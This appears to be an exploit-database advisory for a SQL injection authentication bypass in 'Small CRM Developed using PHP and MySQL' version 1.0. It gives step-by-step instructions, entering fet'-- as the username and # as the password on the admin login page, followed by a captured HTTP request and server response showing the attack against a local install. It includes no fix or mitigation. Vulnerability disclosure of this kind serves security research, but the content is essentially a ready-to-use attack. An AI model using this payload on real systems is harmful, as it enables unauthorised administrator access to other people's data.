# Exploit Title: Small CRM Developed using PHP and MySQL - SQLi Authentication Bypass  
# Date: 05.06.2024  
# Exploit Author: Furkan Eren Tetik  
# Vendor Homepage:  
# Software Link:  
# Version: 1.0  
# Tested on: Windows 11, Kali Linux  
# Small CRM Developed System Login page can be bypassed with a simple SQLi to the username parameter.  
Steps To Reproduce:  
1 - Go to the login page http://localhost/crm/crm/admin/  
2 - In the username field, enter the data value as "fet'--" without double quotes, and in the password field, enter a # sign.  
3 - Click on "Login" button and you are logged in as administrator.   
POST /crm/crm/admin/ HTTP/1.1  
Host: localhost  
Content-Length: 34  
Cache-Control: max-age=0  
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Windows"  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: http://localhost/crm/crm/admin/  
Accept-Encoding: gzip, deflate  
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7  
Cookie: online_clinic_management_system=9fcs116dusfd3m2gjh88b8s777; PHPSESSID=9ti9hb3hc6484bubl69jlaa9t5  
Connection: close  
HTTP/1.1 200 OK  
Date: Tue, 04 Jun 2024 21:58:52 GMT  
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12  
X-Powered-By: PHP/8.2.12  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 48  
Connection: close  
Content-Type: text/html; charset=UTF-8